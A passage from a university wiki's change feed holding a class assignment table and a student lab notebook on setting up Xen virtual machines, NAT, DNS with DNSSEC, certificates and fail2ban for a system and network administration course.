C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12200</id>
		<title>SE4 IdO sécurité système/réseau 2025/2026</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE4_IdO_s%C3%A9curit%C3%A9_syst%C3%A8me/r%C3%A9seau_2025/2026&amp;diff=12200"/>
		<updated>2026-02-10T16:35:21Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : /* Tableau des réseaux virtuels */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Répartition des binômes pour les travaux pratiques &amp;quot;administration système et réseau&amp;quot; =&lt;br /&gt;
&lt;br /&gt;
Préfixe des noms de machine : &amp;lt;code&amp;gt;SE4&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Domaines Internet à louer sur [[gandi.net]]. Identifiant &amp;lt;code&amp;gt;pifou&amp;lt;/code&amp;gt;. Regardez le montant prévu sur le compte avant de louer un domaine.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elève !! Nom de domaine&lt;br /&gt;
! Nom de machine de services !! Nom de machine mandataire&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E1 | Cahier n°1]] || Pierre CASIMIRI || merteuil.tech || SE4.Merteuil||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E2 | Cahier n°2]] || Agathe HOUDUSSE || valmont.tech || SE4.Valmont||SE4.Rosemonde&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E3 | Cahier n°3]] || Lilia GHAZALI || kirchhoff.live|| SE4.Tension||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E4 | Cahier n°4]] || Marin GOURVEST || courant.online|| SE4.Courant||SE4.Kirchhoff&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E5 | Cahier n°5]] || Cédric PAYET || archlinuxbtw.lol|| SE4.CachyOS||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E6 | Cahier n°6]] || Thomas DELOBELLE || archlinux.lol|| SE4.Manjaro||SE4.LinusTorvalds&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E7 | Cahier n°7]] || Ibrahim TEPELI || c2vts.fr|| SE4.C2||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E8 | Cahier n°8]] || Yassine YAHIANI || rs7.online|| SE4.RS7||SE4.Garage&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E9 | Cahier n°9]] || Aurèle VANGHELUWE || tompere.online|| SE4-Tompere1||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E10 | Cahier n°10]] || Tom MERIEN || tompere2.xyz|| SE4-Tompere2||SE4-Tompere0&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E11 | Cahier n°11]] || Varesse Evora Souop Metse || elvis21.shop|| SE4.Elf||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E12 | Cahier n°12]] || Mario Sylainx S. GAUTHIER || kasav.online|| SE4.Kasav||SE4.RockStar&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E13 | Cahier n°13]] || Billel Cheklat || deadpool.tech|| SE4.catwoman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E14 | Cahier n°14]] || Antonin Biernacki || deadpool.tech|| SE4.batman||SE4.superman&lt;br /&gt;
|-&lt;br /&gt;
| [[Atelier SysRes SE4 2025/2026 E15 | Cahier n°15]] || Mohamed Salhi || msalhi.online|| SE4.Moon||SE4.Solstice&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom machine mandataire !! IPv4 publique machine mandataire !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| SE4.Rosemonde|| 193.48.57.165|| Pierre CASIMIRI &amp;amp; Agathe HOUDUSSE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Kirchhoff|| 193.48.57.171|| Lilia GHAZALI &amp;amp; Marin GOURVEST&lt;br /&gt;
|-&lt;br /&gt;
| SE4.LinusTorvalds|| 193.48.57.166|| Cédric PAYET &amp;amp; Thomas DELOBELLE&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Garage|| 193.48.57.170|| Ibrahim TEPELI &amp;amp; Yassine YAHIANI &lt;br /&gt;
|-&lt;br /&gt;
| SE4-Tompere0|| 193.48.57.168|| Aurèle VANGHELUWE &amp;amp; Tom MERIEN&lt;br /&gt;
|-&lt;br /&gt;
| SE4.superman|| 193.48.57.169|| Billel Cheklat &amp;amp; Antonin Biernacki&lt;br /&gt;
|-&lt;br /&gt;
| SE4.RockStar|| 193.48.57.172|| Varesse Evora Souop Metse &amp;amp; GAUTHIER Mario Sylainx S.&lt;br /&gt;
|-&lt;br /&gt;
| SE4.Solstice|| &amp;lt;code&amp;gt;193.48.57.167&amp;lt;/code&amp;gt;|| Mohamed Salhi &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des commutateurs virtuels =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Noms des élèves !! Nom du fichier de configuration !! Réseau IPv4 utilisé &lt;br /&gt;
|-&lt;br /&gt;
| CASIMIRI / HOUDUSSE || pont_gercourt || 192.168.3.0/24&lt;br /&gt;
|-&lt;br /&gt;
|PAYET / DELOBELLE&lt;br /&gt;
|pont_pacman&lt;br /&gt;
|192.168.10.0/24&lt;br /&gt;
|-&lt;br /&gt;
|MERIEN / VANGHELUWE&lt;br /&gt;
|pont_pere&lt;br /&gt;
|192.168.0.0/24&lt;br /&gt;
|-&lt;br /&gt;
|CHEKLAT / BIERNACKI&lt;br /&gt;
|pont_ironman&lt;br /&gt;
|192.168.69.0/24&lt;br /&gt;
|-&lt;br /&gt;
|SALHI&lt;br /&gt;
|pont_msalhi&lt;br /&gt;
|192.168.20.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GOURVEST/GHAZALI&lt;br /&gt;
|pont_diviseur&lt;br /&gt;
|192.168.67.0/24&lt;br /&gt;
|-&lt;br /&gt;
|YAHIANI / TEPELI&lt;br /&gt;
|pontclio&lt;br /&gt;
|192.168.7.0/24&lt;br /&gt;
|-&lt;br /&gt;
|GAUTHIER / SOUOP METSE&lt;br /&gt;
|pont_rock&lt;br /&gt;
|192.168.50.0/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Tableau des réseaux virtuels =&lt;br /&gt;
&lt;br /&gt;
VLAN privés :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| VLAN1 || 1&lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || 2 &lt;br /&gt;
|-&lt;br /&gt;
|E1-Pierre&lt;br /&gt;
|11&lt;br /&gt;
|-&lt;br /&gt;
|E2-Agathe&lt;br /&gt;
|12&lt;br /&gt;
|-&lt;br /&gt;
|E5-Cedric&lt;br /&gt;
|15&lt;br /&gt;
|-&lt;br /&gt;
|E6-Thomas&lt;br /&gt;
|16&lt;br /&gt;
|-&lt;br /&gt;
|E9-Aurele&lt;br /&gt;
|19&lt;br /&gt;
|-&lt;br /&gt;
|E10-Tom&lt;br /&gt;
|20&lt;br /&gt;
|-&lt;br /&gt;
|E13-Billel&lt;br /&gt;
|23&lt;br /&gt;
|-&lt;br /&gt;
|E14-Antonin&lt;br /&gt;
|24&lt;br /&gt;
|-&lt;br /&gt;
|E15-MSalhi&lt;br /&gt;
|25&lt;br /&gt;
|-&lt;br /&gt;
|E11-Evora&lt;br /&gt;
|28&lt;br /&gt;
|-&lt;br /&gt;
|E12-Gauthier&lt;br /&gt;
|21&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
VLAN communs avec l&#039;école :&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom !! Numéro &lt;br /&gt;
|-&lt;br /&gt;
| INTERCO1 || 530 &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Schéma de câblage =&lt;br /&gt;
&lt;br /&gt;
Vous avez des éléments réseaux et des panneaux de brassage fibres dans les locaux techniques SR31 et SR52 ainsi que dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
Le plan doit donc comporter, pour chaque connexion, les locaux d&#039;origine et de destination ainsi que l&#039;identifiant des ports d&#039;origine et de destination.&lt;br /&gt;
&lt;br /&gt;
= Plan d&#039;adressage =&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Nom VLAN !! Réseau IPv4 !! Réseau IPv6 &lt;br /&gt;
|-&lt;br /&gt;
| MV-PROMO || &amp;lt;code&amp;gt;193.48.57.160/27&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a0::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolPierre || &amp;lt;code&amp;gt;10.60.1.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a1::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| PoolAgathe || &amp;lt;code&amp;gt;10.60.2.0/24&amp;lt;/code&amp;gt; || &amp;lt;/code&amp;gt;2001:660:4401:60a2::/64&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|PoolCedric&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.5.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a5::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolThomas&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.6.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a6::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolBillel&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.13.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ad::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAurele&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.9.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60a9::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolTom&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.10.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60aa::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolSalhi&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.15.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60b1::/64&lt;br /&gt;
|-&lt;br /&gt;
|PoolAntonin&lt;br /&gt;
|&amp;lt;code&amp;gt;10.60.14.0/24&amp;lt;/code&amp;gt;&lt;br /&gt;
|2001:660:4401:60ae::/64&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Adresses IPv4 des éléments réseau dans VLAN1&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Elément !! Adresse &lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E304 || 172.27.0.1/16&lt;br /&gt;
|-&lt;br /&gt;
| Routeur C9200-E306 || 172.27.0.2/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E306 || 172.27.0.3/16&lt;br /&gt;
|-&lt;br /&gt;
| Borne Wi-Fi E304 || 172.27.0.4/16&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= Informations VRRP =&lt;br /&gt;
&lt;br /&gt;
Pour chaque VLAN et pour chaque instance VRRP dans le VLAN listez les adresses IPv4 propres ainsi que l&#039;unique IPv4 virtuelle.&lt;br /&gt;
&lt;br /&gt;
== VLAN des machines virtuelles ==&lt;br /&gt;
&lt;br /&gt;
Une seule instance VRRP dans le VLAN des machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
Adresse IPv4 virtuelle : &amp;lt;code&amp;gt;193.48.57.162&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Routeur !! IPv4 propre &lt;br /&gt;
|-&lt;br /&gt;
| C9200 E304 || &amp;lt;code&amp;gt;193.48.57.163&amp;lt;/code&amp;gt;&lt;br /&gt;
|- &lt;br /&gt;
| C9200 E306 || &amp;lt;code&amp;gt;193.48.57.164&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== VLAN ... ==&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12196</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12196"/>
		<updated>2026-02-10T16:28:55Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
